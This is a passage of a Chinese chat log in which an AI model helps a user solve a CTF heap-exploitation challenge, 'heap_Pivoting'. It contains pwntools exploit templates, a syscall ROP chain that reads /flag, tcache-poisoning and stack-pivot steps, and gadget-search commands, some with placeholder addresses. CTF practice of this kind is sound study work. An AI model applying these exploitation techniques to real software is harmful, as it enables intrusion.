我正在解决一道ctf pwn题,题目给了一个elf文件,题目名称是heap_Pivoting,我用i...
创建于:2025年8月17日
使用 GPT-5 Thinking 回答 Chat01
创建于:2025年8月17日
使用 GPT-5 Thinking 回答 Chat01
我正在解决一道ctf pwn题,题目给了一个elf文件,题目名称是heap_Pivoting,我用ida64反编译后的部分源码发送给你,请你帮助我分析尝试得到flag:// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
void *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
sub_4015F0(
(unsigned int)sub_400D67,
v4,
(unsigned int)&retaddr,
(unsigned int)sub_401AB0,
(unsigned int)sub_401B40,
a3,
(__int64)&v5);和void term_proc()
{
;
}
}和__int64 init_proc()
{
return 0LL;
}和+0000000000000000 ; D/A/* : change type (data/ascii/array)
+0000000000000000 ; N : rename
+0000000000000000 ; U : undefine
+0000000000000000 ; Use data definition commands to create local variables and function arguments.
+0000000000000000 ; Two special fields " r" and " s" represent return address and saved registers.
+0000000000000000 ; Frame size: 0; Saved regs: 0; Purge: 0
+0000000000000000 ;
+0000000000000000
+0000000000000000 r db 8 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables和void __fastcall __noreturn sub_4015F0(int a1, int a2, int a3, int a4, int a5, int a6, __int64 a7)
{
sub_401110();
sub_400E00(a1, a2, a3, a4, a5, a6, a7);
}和__int64 sub_401110()
{
int v5; // esi
int v6; // r11d
int v7; // r10d
__int64 result; // rax
int *v24; // rdi
int *v25; // r8
int v26; // r9d
unsigned int v27; // esi
int v28; // ebp
unsigned int v34; // eax
int v45; // eax
int v46; // eax
unsigned int v47; // [rsp+0h] [rbp-124h] BYREF
unsigned int v48; // [rsp+4h] [rbp-120h] BYREF
unsigned int v49; // [rsp+8h] [rbp-11Ch] BYREF
int v50[31]; // [rsp+Ch] [rbp-118h] BYREF
int v51; // [rsp+88h] [rbp-9Ch]
int v52[31]; // [rsp+8Ch] [rbp-98h] BYREF
int v53; // [rsp+108h] [rbp-1Ch]
_RAX = 0LL;
__asm { cpuid }
dword_6CC684 = _RAX;
v47 = 0;
v48 = 0;
v49 = 0;
if ( (_DWORD)_RCX == 1818588270 && (_DWORD)_RBX == 1970169159 && (_DWORD)_RDX == 1231384169 )
{
sub_4010A0(&v47, &v48, v52, &v49);
v5 = dword_6CC690;
if ( v47 != 6 )
{
LABEL_46:
v7 = 1;
v6 = v48;
goto LABEL_6;
}
v48 += v52[0];
if ( v48 <= 0x2F )
{
if ( v48 >= 0x2E )
goto LABEL_86;
if ( v48 > 0x1F )
{
if ( v48 == 38 )
goto LABEL_65;
if ( v48 == 44 || v48 == 37 )
{
LABEL_86:
dword_6CC6C8 |= 0x33u;
goto LABEL_46;
}
}
else
{
if ( v48 >= 0x1E || v48 == 26 )
goto LABEL_86;
if ( v48 == 28 )
{
LABEL_65:
dword_6CC6C8 |= 4u;
goto LABEL_46;
}
}
LABEL_85:
if ( (dword_6CC690 & 0x10000000) == 0 )
goto LABEL_46;
goto LABEL_86;
}
if ( v48 != 77 )
{
if ( v48 <= 0x4D )
{
if ( v48 != 55 && v48 != 74 )
goto LABEL_85;
}
else if ( v48 != 90 && v48 != 93 )
{
if ( v48 != 87 )
goto LABEL_85;
v46 = dword_6CC6C8 | 0x20000;
LABEL_81:
dword_6CC6C8 = v46 | 0x230;
goto LABEL_46;
}
}
v46 = dword_6CC6C8;
goto LABEL_81;
}
if ( (_DWORD)_RCX == 1145913699 && (_DWORD)_RBX == 1752462657 && (_DWORD)_RDX == 1769238117 )
{
sub_4010A0(&v47, &v48, v52, &v49);
_RAX = 0x80000000LL;
__asm { cpuid }
if ( (unsigned int)_RAX > 0x80000000 )
{
_RAX = 2147483649LL;
__asm { cpuid }
dword_6CC6A8 = _RAX;
dword_6CC6AC = _RBX;
unk_6CC6B0 = _RCX;
dword_6CC6B4 = _RDX;
}
v6 = v48;
if ( v47 == 21 && v48 - 96 <= 0x1F )
dword_6CC6C8 |= 0x10u;
v7 = 2;
v5 = dword_6CC690;
}
else
{
v5 = dword_6CC690;
v6 = v48;
v7 = 3;
}
LABEL_6:
LOBYTE(_RAX) = dword_6CC694;
if ( (dword_6CC694 & 0x100) != 0 )
dword_6CC6C8 |= 0x4000u;
if ( (dword_6CC694 & 0x8000) != 0 )
dword_6CC6C8 |= 0x8000u;
if ( dword_6CC684 > 6 )
{
_RAX = 7LL;
__asm { cpuid }
dword_6CC698 = _RAX;
dword_6CC69C = _RBX;
dword_6CC6A0 = _RCX;
dword_6CC6A4 = _RDX;
}
if ( (v5 & 0x8000000) != 0 )
{
__asm { xgetbv }
if ( (_RAX & 6) == 6 )
{
if ( (v5 & 0x10000000) != 0 )
dword_6CC6C8 |= 0x40u;
if ( (dword_6CC69C & 0x20) != 0 )
dword_6CC6C8 |= 0xC00u;
if ( (_RAX & 0xE0) == 224 && (dword_6CC69C & 0x10000) != 0 )
{
v45 = dword_6CC6C8;
if ( (dword_6CC69C & 0x20000) != 0 )
BYTE1(v45) = BYTE1(dword_6CC6C8) | 0x30;
else
BYTE1(v45) = BYTE1(dword_6CC6C8) | 0x10;
dword_6CC6C8 = v45;
}
if ( (v5 & 0x1000) != 0 )
dword_6CC6C8 |= 0x80u;
if ( (byte_6CC6B2 & 1) != 0 )
dword_6CC6C8 |= 0x100u;
}
if ( dword_6CC684 > 12 )
{
_RAX = 13LL;
__asm { cpuid }
if ( (_DWORD)_RBX )
{
qword_6CC6C0 = ((_DWORD)_RBX + 127) & 0xFFFFFFC0;
_RAX = 13LL;
__asm { cpuid }
if ( (_RAX & 2) != 0 )
{
v50[0] = 0;
v50[1] = 160;
v24 = v52;
v50[2] = 576;
v52[0] = 160;
v25 = v50;
v52[1] = 256;
v26 = 3;
v27 = 2;
v28 = 238;
while ( 1 )
{
if ( _bittest(&v28, v27) )
{
_RAX = 13LL;
__asm { cpuid }
v24[2] = _RAX;
if ( v27 == 2 )
goto LABEL_25;
v34 = v25[1] + v24[1];
if ( (_RCX & 2) != 0 )
v34 = (v34 + 63) & 0xFFFFFFC0;
v25[2] = v34;
}
else
{
v24[2] = 0;
if ( v27 == 2 )
goto LABEL_25;
v25[2] = v25[1] + v24[1];
}
if ( v26 == 32 )
{
if ( v51 + v53 )
{
dword_6CC6C8 |= 0x40000u;
qword_6CC6C0 = (v51 + v53 + 127) & 0xFFFFFFC0;
}
break;
}
LABEL_25:
++v27;
++v26;
++v24;
++v25;
}
}
}
}
}
if ( v7 == 1 && v47 == 6 )
{
if ( v6 == 63 )
{
LABEL_55:
if ( v49 > 2 )
goto LABEL_16;
goto LABEL_52;
}
if ( v6 == 60 )
{
if ( v49 > 3 )
goto LABEL_16;
goto LABEL_52;
}
if ( (unsigned int)(v6 - 69) > 1 )
{
if ( v6 == 61 )
{
if ( v49 > 4 )
goto LABEL_16;
goto LABEL_52;
}
if ( v6 != 71 )
{
if ( v6 != 86 )
goto LABEL_16;
goto LABEL_55;
}
}
if ( v49 <= 1 )
LABEL_52:
dword_6CC69C &= 0xFFFFF7EF;
}
LABEL_16:
result = v47;
dword_6CC6BC = v6;
dword_6CC680 = v7;
dword_6CC6B8 = v47;
return result;
}和// write access to const memory has been detected, the output may be wrong!
void __fastcall __noreturn sub_400E00(
__int64 (__fastcall *a1)(_QWORD, __int64, __int64),
unsigned int a2,
__int64 a3,
void (__fastcall *a4)(_QWORD, __int64, __int64),
__int64 a5,
__int64 a6,
__int64 a7)
{
__int64 v10; // rdi
__int64 (__fastcall **v11)(); // rbp
__int64 (__fastcall ***v12)(); // rbx
__int64 v13; // rax
int v14; // eax
unsigned __int64 v15; // rax
unsigned int v16; // eax
signed __int64 v17; // rax
char v20[72]; // [rsp+20h] [rbp-98h] BYREF
unsigned __int64 v21; // [rsp+68h] [rbp-50h]
unsigned __int64 v22; // [rsp+70h] [rbp-48h]
dword_6CB700 = 0;
v10 = a3 + 8LL * (int)a2 + 8;
qword_6CC640 = v10;
qword_6C9F90 = a7;
do
v10 += 8LL;
while ( *(_QWORD *)(v10 - 8) );
sub_443C80();
if ( !qword_6CD288 && &dword_400000 )
{
qword_6CD288 = 4194368LL;
qword_6CD2C0 = 6LL;
}
if ( !dword_6CB700 )
{
v14 = sub_444C40();
if ( v14 < 0 )
sub_412330("FATAL: cannot determine kernel version\n");
if ( !dword_6CD2E0 || dword_6CD2E0 > (unsigned int)v14 )
dword_6CD2E0 = v14;
if ( v14 <= 132639 )
sub_412330("FATAL: kernel too old\n");
}
if ( &off_4001D8 < (__int64 (__fastcall **)())init_proc )
{
v11 = &off_6CA060;
v12 = &off_4001D8;
while ( 1 )
{
v13 = ((__int64 ()(void))v12[2])();
v12 += 3;
*v11 = (__int64 (__fastcall *)())v13;
if ( v12 >= (__int64 (__fastcall ***)())init_proc )
break;
v11 = *v12;
if ( *((_DWORD *)v12 + 2) != 37 )
sub_412330("unexpected reloc type in static binary");
}
}
sub_401AA0();
v15 = *(_QWORD *)qword_6C9F80;
LOBYTE(v15) = 0;
__writefsqword(0x28u, v15);
__writefsqword(0x30u, *(_QWORD *)(qword_6C9F80 + 8));
if ( a6 )
sub_40F190(a6, 0LL, 0LL);
sub_444D50(a2, a3, qword_6CC640);
if ( a5 )
sub_40F190(a5, 0LL, 0LL);
if ( dword_6C9F98 )
sub_401640();
if ( a4 )
a4(a2, a3, qword_6CC640);
sub_443680(0LL, 0LL);
if ( (unsigned int)sub_40E0F0(v20) )
{
MEMORY0;
if ( _InterlockedDecrement(0LL) )
{
while ( 1 )
v17 = sys_exit(0);
}
v16 = 0;
}
else
{
v21 = __readfsqword(0x300u);
v22 = __readfsqword(0x2F8u);
__writefsqword(0x300u, (unsigned __int64)v20);
v16 = a1(a2, a3, qword_6CC640);
}
sub_40EF90(v16);
}如需更多信息请你知道我我再提供
太好了,有这些反编译片段已经能看出不少结构。先把你给的代码“对号入座”,然后我给你一条能快速落地的利用思路(含 GDB/IDA 的定位步骤和 pwntools 骨架)。如果你把 sub_400D67
(真正的 main)、菜单/堆操作函数和保护信息再贴出来,我可以直接把漏洞点和完整 exp 写出来。
start → sub_4015F0 → sub_400E00(...)
__libc_start_main(main, argc, argv, init, fini, ...)
很像:a1=(unsigned int)sub_400D67
:这就是“真正的 main”。a4=sub_401AB0
、a5=sub_401B40
:看起来像 .init/.fini 回调。a1(a2,a3,qword_6CC640)
调回“main”。=> 结论:真正要分析的是 sub_400D67
以及它调用的菜单/堆函数。你贴的 CPU/内核检测 (sub_401110
、sub_443C80
、sub_444C40
) 多半与利用无关。
sub_401110()
纯 CPUID/XGETBV 特性探测,设置若干全局标志(dword_6CC6C8
等)。与 pwn 利用无关。
sub_400E00(...)
像极了一个“静态自带运行时”:
sub_443680
、sub_40E0F0
一眼看着像 BPF/安装过滤器那一类)。sys_exit
直接系统调用的影子、地址密集在 0x44xxxx
,很可能是静态链接(对我们是好消息:ROP gadget 巨多;坏消息:若 seccomp 限制,只能走允许的 syscalls)。=> 结论:后续要确认是否装了 seccomp(能否 execve
/open
)。这决定我们最后是 system("/bin/sh")
还是“open -> read -> write
读 flag”的路线。
1. checksec(确认保护与加载基址)
bashchecksec --file=heap_Pivoting # 重点看:PIE / RELRO / NX / Canary / 静态 or 动态
0x400xxx
,大概率 PIE 关;NX 常见是开;Canary 要看输出;静态与否 checksec 会直说。2. 定位“主逻辑”
在 IDA:
sub_400D67
(就是 main)。Shift+F12
):找菜单项(add/edit/free/show),或“size/name/content”等字样。malloc/new
、free/delete
、read/gets/fgets
等。3. 运行时确认 seccomp
在 GDB:
gdbr # 交互时另开终端试: grep Seccomp /proc/$(pidof heap_Pivoting)/status # 或者 attach 后:peda/pwndbg 的 seccomp 命令(若有)
也可以直接在 IDA 搜 prctl
、seccomp(SECCOMP_SET_MODE_FILTER)
、bpf
结构。
题名叫 pivoting,常见是“把 RSP/栈转移到堆上,然后在堆上布置 ROP 栈”。静态二进制 gadget 多,十分适合做 ROP。
我给你两条常用而且稳的打法,结合你手里的题,任选其一/按限制切换。
__free_hook
/ __malloc_hook
→ 直接起命令或 pivot__malloc_hook
移除,__free_hook
仍在)。若是静态链接 musl或完全无 libc,此法不可用。malloc
返回到你指定的地址(如 __free_hook
或全局函数指针)。__free_hook = system
或填上 gadget 以 pivot。free("/bin/sh")
(或随后 free
任意可控指针)直接弹 shell。__free_hook
、system
(泄露 libc 基址后可解算),或找 GOT/plt 泄露。execve
/system
:把 __free_hook
改到 setcontext+0xXX
,进行堆 pivot(见路线 B)。setcontext+61
进行 RSP pivot → 纯 ROP 读 flag/flag
字符串、ROP 链、若干寄存器快照(若走 setcontext
)。setcontext+0x3d/0x61
(不同 libc 偏移略不同;静态可在二进制里直接搜 setcontext
符号或找能一次性还原寄存器的 gadget)。RSP
被加载为你堆上的地址,从而完全控制 ROP 栈。read
/write
/exit
(有时也允许 openat
)。
open("/flag", O_RDONLY)
或 openat(AT_FDCWD, "/flag", 0)
read(fd, heap_buf, 0x100)
write(1, heap_buf, 0x100)
pop rdi ; ret
、pop rsi ; ret
、pop rdx ; ret
、pop rax ; ret
、syscall ; ret
sub_44xxxx
系统调用包装(你贴片段里有 sys_exit
,很可能也有 sys_open
/sys_read
/sys_write
的薄封装;搜“mov eax, 2/0/1; syscall
”等指纹)。IDA / x64dbg 搜索与命名
sub_400D67
命名为 main
.malloc/free/realloc/calloc
的交叉引用,命名成 add/edit/del/show
等。puts
/printf
打印指针,抓一手泄露(libc或可执行基址)。GDB 快速确认堆布局(pwndbg)
gdbstart # 触发一次 add,确认 chunk 大小与用户输入的映射 vis_heap # 尝试 free 再 show,确认 UAF
寻找 pivot/函数指针落点(非常关键)
__free_hook
、回调数组、析构回调、.fini_array)→ 劫持控制流。先假设:PIE 关、NX 开、Canary 关(或可绕)、允许
open/read/write
;我们走“堆栈 pivot + ROP 读 /flag”。
pythonfrom pwn import * # 环境 # context.log_level = 'debug' elf = context.binary = ELF('./heap_Pivoting', checksec=False) # libc = ELF('./libc.so.6') # 如果是动态题,按需加载 p = process(elf.path) def add(sz, data): p.sendlineafter(b'> ', b'1') p.sendlineafter(b'size:', str(sz).encode()) p.sendafter(b'data:', data) def edit(idx, data): p.sendlineafter(b'> ', b'2') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def show(idx): p.sendlineafter(b'> ', b'3') p.sendlineafter(b'idx:', str(idx).encode()) return p.recvuntil(b'\n---END---\n', drop=True) def delete(idx): p.sendlineafter(b'> ', b'4') p.sendlineafter(b'idx:', str(idx).encode()) # ==== 根据题目真实菜单改 ↑ ==== # 1) 堆风水:制造 UAF / tcache 污染,把下一个 malloc 指到我们想写的目标 # ... 根据具体漏洞写 ... # 2) 在堆上布置“fake stack” pivot = 0xdeadbeef # 堆地址:放 ROP 链的起点(实际跑起来用泄露/调试得到) flag_path = pivot + 0x300 buf = pivot + 0x400 rop = b'' # ROP 构造:open("/flag", 0) -> read(fd, buf, 0x100) -> write(1, buf, 0x100) # 需要你在二进制里找 pop/gadget & syscall,或者直接调 sub_44xxxx 的轻封装 # 例(纯 syscalls,占位写法): pop_rax = 0x401010 pop_rdi = 0x401111 pop_rsi = 0x401222 pop_rdx = 0x401333 syscall = 0x401444 rop += p64(pop_rax) + p64(2) # SYS_open rop += p64(pop_rdi) + p64(flag_path) rop += p64(pop_rsi) + p64(0) # O_RDONLY rop += p64(syscall) # fd 在 rax,继续使用 rop += p64(pop_rdi) + p64(3) # 假设 fd=3(按实际返回) rop += p64(pop_rsi) + p64(buf) rop += p64(pop_rdx) + p64(0x100) rop += p64(pop_rax) + p64(0) # SYS_read rop += p64(syscall) rop += p64(pop_rdi) + p64(1) # stdout rop += p64(pop_rsi) + p64(buf) rop += p64(pop_rdx) + p64(0x100) rop += p64(pop_rax) + p64(1) # SYS_write rop += p64(syscall) fake_stack = rop.ljust(0x300, b'\x00') + b'/flag\x00' # 3) 通过漏洞写入 fake_stack 到堆 # add(...) / edit(...) # 4) 劫持控制流:触发一次返回/函数指针,跳到 setcontext+offset 或 gadget 完成 RSP=pivot # 例:用 gadget 'xchg rsp, rdx ; ret' / 'leave ; ret' / 'mov rsp, rax ; ret' 等 pivot_gadget = 0x401555 # 将寄存器(rdx/rax)先指到 pivot,然后 ret 到 pivot_gadget # 具体看你能写到的返回地址/函数指针 # 5) 拿 flag p.interactive()
说明:上面 gadget 地址是占位,你在二进制里一搜就有大量可选;如果找得到
setcontext+0x61
,你还可以在堆上放好ucontext_t
结构,做到一次性还原寄存器并将RSP
指到我们的 fake stack(更稳)。
puts@GOT
→ 计算 libc)。malloc
指到 __free_hook
,然后写入 system
。"/bin/sh\x00"
,free
它即可。execve
时,把 __free_hook
指到 setcontext+offset
,转路线 B。checksec
输出(尤其是 PIE/Canary/NX/静态or动态);sub_400D67
(main)的反编译代码或伪代码;/proc/$pid/status
里的 Seccomp:
值,或你看到的被拒系统调用)。给我这些,我就直接把“具体漏洞位置+准确的堆风水步骤+可用 gadget+完整 exp.py”贴你。
我为你提供更多信息如下:void __noreturn sub_400D67()
{
int v0; // [rsp+Ch] [rbp-24h]
char v1[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
sub_400AA7();
while ( 1 )
{
while ( 1 )
{
sub_400AF4();
sub_43FCA0(0LL, v1, 16LL);
v0 = sub_40E180(v1);
if ( v0 != 1 )
break;
sub_400B5F();
}
if ( v0 == 2 )
{
sub_400CD5();
}
else
{
if ( v0 != 3 )
sub_43F2F0(0LL);
sub_400C25();
}
}
}和Reading symbols from pwn...
(No debugging symbols found in pwn)
------- tip of the day (disable with set show-tips off) -------
GDB's set directories <path> parameter can be used to debug e.g. glibc sources like the malloc/free functions!
pwndbg> b *sub_400E00+200
No symbol table is loaded. Use the "file" command.
pwndbg> run
Starting program: /home/sean/桌面/pwn
1.add
2.delete
3.edit
4.exit
Your choice:
1
idx:^C
Program received signal SIGINT, Interrupt.
0x000000000043fcb0 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0xfffffffffffffe00
RBX 0x4002c8 ◂— sub rsp, 8
RCX 0x43fcb0 ◂— cmp rax, -0xfff
RDX 0x10
RDI 0
RSI 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
R8 0
R9 0x1999999999999999
R10 0
R11 0x246
R12 0x401ab0 ◂— push r14
R13 0x401b40 ◂— push rbx
R14 0
R15 0
RBP 0x7fffffffdfb0 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
RSP 0x7fffffffdf78 —▸ 0x400ba0 ◂— lea rax, [rbp - 0x20]
RIP 0x43fcb0 ◂— cmp rax, -0xfff
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x43fcb0 cmp rax, -0xfff 0xfffffffffffffe00 - -0xfff EFLAGS => 0x216 [ cf PF AF zf sf IF df of ]
0x43fcb6 ✔ jae 0x444df0 <0x444df0>
↓
0x444df0 neg rax
0x444df3 mov dword ptr fs:[0xffffffffffffffd0], eax [0x6ce850] <= 0x200
0x444dfb or rax, 0xffffffffffffffff RAX => 0xffffffffffffffff (0x200 | -0x1)
0x444dff ret <0x400ba0>
↓
0x400ba0 lea rax, [rbp - 0x20] RAX => 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
0x400ba4 mov rdi, rax RDI => 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
0x400ba7 call 0x40e180 <0x40e180>
0x400bac mov dword ptr [rbp - 0x2c], eax
0x400baf cmp dword ptr [rbp - 0x2c], 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7fffffffdf78 —▸ 0x400ba0 ◂— lea rax, [rbp - 0x20]
01:0008│-030 0x7fffffffdf80 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
02:0010│-028 0x7fffffffdf88 —▸ 0x401ab0 ◂— push r14
03:0018│ rsi 0x7fffffffdf90 —▸ 0x401b40 ◂— push rbx
04:0020│-018 0x7fffffffdf98 ◂— 0
05:0028│-010 0x7fffffffdfa0 ◂— 0
06:0030│-008 0x7fffffffdfa8 ◂— 0xf6f11da4366b3f00
07:0038│ rbp 0x7fffffffdfb0 —▸ 0x7fffffffdff0 —▸ 0x6ca018 —▸ 0x43b850 ◂— mov rcx, rsi
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x43fcb0 None
1 0x400ba0 None
2 0x400dc7 None
3 0x401046 None
4 0x401635 None
5 0x4008b9 None
────────────────────────────────────────────────────────────────────────────────
pwndbg> p &v20
No symbol table is loaded. Use the "file" command.
pwndbg> x/gx ROPgadget --binary pwn --only "pop|ret" | grep rdi
0x000000000040263a : pop rdi ; pop rbp ; ret
0x0000000000401a16 : pop rdi ; ret
0x000000000049ef45 : pop rdi ; ret 0x22
好!现在我们已经能定位到“真正的 main”(sub_400D67
)和菜单流转,外加你跑起来看到的菜单与寄存器/指令现场。结合题名 heap_Pivoting,八成是让你通过堆漏洞把 RSP pivot 到堆上做 ROP(静态二进制 > gadget 多;你给的 pop rdi ; ret
也证明了 PIE 关、ROP 资源充足)。
下面我把“怎么确认漏洞点 → 怎么做堆风水 → 怎么 pivot → 怎么用 ROP 直接读 /flag
”整理成一条可落地的路线,并给出能直接改的 pwntools
模板与 GDB/IDA 检查要点。你把 sub_400B5F/400CD5/400C25
的伪代码再贴来,我可以把“风水细节 + 具体地址 + 完整 exp.py”填死。
菜单主循环(sub_400D67
):
csub_400AA7(); // banner loop { sub_400AF4(); // 打印菜单 sub_43FCA0(0, v1, 16); // 读入选择(read-like 包装) v0 = sub_40E180(v1); // 把选择转成int(atoi/strtol) if (v0==1) sub_400B5F(); // 1.add else if (v0==2) sub_400CD5(); // 2.delete else { // 3.edit / 4.exit if (v0!=3) sub_43F2F0(0); // 非 1/2/3 时报错/提示 sub_400C25(); // 看样子像 edit(从菜单串来看 3.edit), // 或者 edit/exit 共用一个分支(依据内部再分) } }
小结:add / delete / edit 三件套,典型堆题。
你在 GDB 里看到 0x43fcb0
处 cmp rax, -0xfff
→ 这就是系统调用薄封装的错误码归一化逻辑(负 errno → 返回 -1)。这说明二进制里自带一批 syscall 封装(比如 open/read/write/exit),极利于做纯 ROP(即便无 libc)。
ROPgadget 找到:
text0x401a16 : pop rdi ; ret 0x40263a : pop rdi ; pop rbp ; ret 0x49ef45 : pop rdi ; ret 0x22
PIE 关(地址小、稳定),ROP 资源有。再搜一下 syscall ; ret
基本能找到。
到底是“改 hook”还是“pivot + 纯 ROP”,取决于是否动态链接 glibc以及是否有 seccomp。你这个二进制里到处是
0x44xxxx
的运行时片段、syscall 薄封装、sys_exit
,很像静态/半静态风格。建议直接走 堆 pivot + 纯 ROP 读 flag,不依赖 libc 符号。
bashchecksec --file=./pwn # 记录:PIE / NX / Canary / RELRO / 静态 or 动态
__free_hook
(glibc ≤2.34)。另外看 seccomp(可能通过 sub_443680
/ sub_40E0F0
设置):
bash# 运行时: grep Seccomp /proc/$(pidof pwn)/status # 或在 gdb/pwndbg 里搜 prctl/seccomp 片段
read/write/exit/open/openat
,那就用 open/read/write 读 /flag
。sub_400B5F()
:add,看它 malloc
的 size 来源、是否会把 size 存在全局数组、是否把指针放到全局表;是否返回/打印索引。sub_400CD5()
:delete,有没有 double free 检查?释放后有没有把指针清空?(tcache 污染入口)sub_400C25()
:根据菜单应是 edit:是否 UAF(对已 free 的块还允许 edit)、是否 越界写(size 没校验/可控的 off-by-one)、是否能把 任意地址写入已释放块的 fd(tcache poisoning)。常见可利用组合:
/flag
pivot = 某个堆地址
(通过泄露或稳定分配可预测);pivot + 0x000
放 ROP 链;pivot + 0x300
放 "/flag\x00"
;pivot + 0x400
放读入的缓冲区;RSP
指到 pivot
。常见几种:
mov rsp, rax ; ret
/ xchg rsp, rdx ; ret
/ leave ; ret
,并先把对应寄存器装成 pivot
;setcontext+0x61
流派(如果有),堆上伪造 ucontext_t
,一次性恢复寄存器把 RSP
切过去(更稳)。setcontext
。syscall ; ret
+ 一堆 pop
:
open("/flag", O_RDONLY)
或 openat(AT_FDCWD, "/flag", 0)
;read(fd, buf, 0x100)
;write(1, buf, 0x100)
;exit(0)
(可选)。你已经有
pop rdi ; ret
。用ROPgadget --binary pwn --only "syscall"
找syscall ; ret
,再找pop rsi ; ret
、pop rdx ; ret
、pop rax ; ret
。基本都有。
system
等。__free_hook = system
;但你这个二进制风格像静态,更适合路线 B。bash# 1) 找 syscalls 与 pop ROPgadget --binary ./pwn --only "syscall" | head ROPgadget --binary ./pwn --only "pop|ret" | egrep "r(ax|di|si|dx|cx|8|9|10|11)" # 2) 找潜在 pivot ROPgadget --binary ./pwn --only "leave|xchg|mov|ret" | egrep "rsp|esp" # 重点看类似: # xchg rsp, rdx ; ret # mov rsp, rax ; ret # leave ; ret # 3) 运行时观察堆地址(用来确认 pivot/fake stack 放哪) gdb -q ./pwn r # 做一次 add,拿到 chunk 的地址(如果程序打印);否则在 malloc 返回处下断: # 在 IDA 找到 add 里调用 malloc 的地址 A,gdb:b *A+偏移(call malloc 前后)
下面按“edit 里可越界/UAF 写”与“delete 存在 tcache 污染”思路;pivot 用“
xchg rsp, rdx ; ret
”作例子(你用 ROPgadget 把真实地址填进去即可)。syscall
链用 open/read/write 读/flag
。
pythonfrom pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' def add(sz, data): p.sendlineafter(b'Your choice:\n', b'1') p.sendlineafter(b'idx:', b'0') # 如果题目要 idx,就改成实际流程 p.sendlineafter(b'size:', str(sz).encode()) p.sendafter(b'data:', data) def delete(idx): p.sendlineafter(b'Your choice:\n', b'2') p.sendlineafter(b'idx:', str(idx).encode()) def edit(idx, data): p.sendlineafter(b'Your choice:\n', b'3') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def bye(): p.sendlineafter(b'Your choice:\n', b'4') def build_rop(pivot, flag_path, buf, g): rop = b'' # open("/flag", O_RDONLY) rop += p64(g['pop_rax']) + p64(2) # SYS_open rop += p64(g['pop_rdi']) + p64(flag_path) rop += p64(g['pop_rsi']) + p64(0) # O_RDONLY rop += p64(g['syscall']) # read(rax, buf, 0x100) # rax=fd rop += p64(g['pop_rdi']) + p64(3) # 也可不用猜,先 mov rdi, rax 的 gadget更稳 rop += p64(g['pop_rsi']) + p64(buf) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(0) # SYS_read rop += p64(g['syscall']) # write(1, buf, 0x100) rop += p64(g['pop_rdi']) + p64(1) rop += p64(g['pop_rsi']) + p64(buf) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(1) # SYS_write rop += p64(g['syscall']) # exit(0) rop += p64(g['pop_rax']) + p64(60) rop += p64(g['pop_rdi']) + p64(0) rop += p64(g['syscall']) return rop def solve(local=True): g = { 'pop_rax': 0x????????, # ROPgadget 找 'pop_rdi': 0x401a16, # 你已找到 'pop_rsi': 0x????????, 'pop_rdx': 0x????????, 'syscall': 0x????????, # syscall ; ret 'pivot_xchg_rdx_rsp': 0x????????, # xchg rsp, rdx ; ret 或 mov rsp, rax ; ret } global p p = process(elf.path) if local else remote('host', port) # === 堆风水 === # 目标:拿到一个“可控指针写”原语 → 把某处“将要 ret/将要被调用的函数指针”的值 # 改为 pivot_gadget,并在合适时机让寄存器(rax/rdx) = pivot # 举例:先分配两个大块,一个作为 fake stack: pivot = 0xdead000 # 如果能泄露就用真实堆地址;否则用堆喷/多次分配固定序列 flag = pivot + 0x300 buf = pivot + 0x400 fake_stack = build_rop(pivot, flag, buf, g) fake_stack = fake_stack.ljust(0x300, b'\x00') + b'/flag\x00' # 1) 分配存放 fake stack 的块 add(0x600, fake_stack) # idx 0 # 2) 通过 UAF/越界/tcache 污染,准备把将要使用的返回地址/函数指针覆盖为 pivot_gadget # 同时确保 rdx/rax 里能放入 pivot(按你找到的 pivot 指令决定) # # !!! 这里需要根据你在 sub_400B5F/400CD5/400C25 看到的具体漏洞来写 !!! # # 例(占位伪步骤): # add(0x100, b'A'*0x100) # idx 1 # delete(1) # 放进 tcache # edit(0, payload_to_poison_tcache_point_to_retaddr) # 把下次 malloc 定位到某个返回地址 # add(0x100, p64(g['pivot_xchg_rdx_rsp'])) # 覆盖返回地址 == pivot gadget # ... 再用一次 edit 把 rdx 写成 pivot(比如覆盖某个即将被 pop 到 rdx 的位置/或“使用参数传递一路带到rdx”) # 3) 触发返回/调用,命中 pivot # bye() # 如果退出时会触发那个覆盖点 p.interactive() if __name__ == '__main__': solve(local=True)
说明:
g
字典里的地址请用ROPgadget
/ROPgadget --binary ./pwn --only "syscall"
与--only "pop|ret"
实际填上。- 如果你找到
mov rsp, rax ; ret
,就把pivot_xchg_rdx_rsp
换成它,并想办法先让rax=pivot
(比如通过“先覆盖函数指针为pop rax ; ret
→ 再返回设置 rax → 再 ret 到mov rsp, rax ; ret
”的二段式;或者一次覆盖为能把 rax 装到 pivot 的小链)。- 如果你能找到
setcontext+0x61
,那就在堆上放ucontext_t
(把RSP
指到pivot
,RIP
放第一条 gadget),触发一次对setcontext+0x61
的跳转即可,比 gadget 串更鲁棒。
sub_400B5F / 400CD5 / 400C25
)或自己检查:
ptrs[0x10]
、sizes[0x10]
);ROPgadget
补齐:
pop rax/ rsi/ rdx
、syscall ; ret
;xchg rsp, rdx ; ret
/ mov rsp, rax ; ret
/ leave ; ret
)。open
被禁而 openat
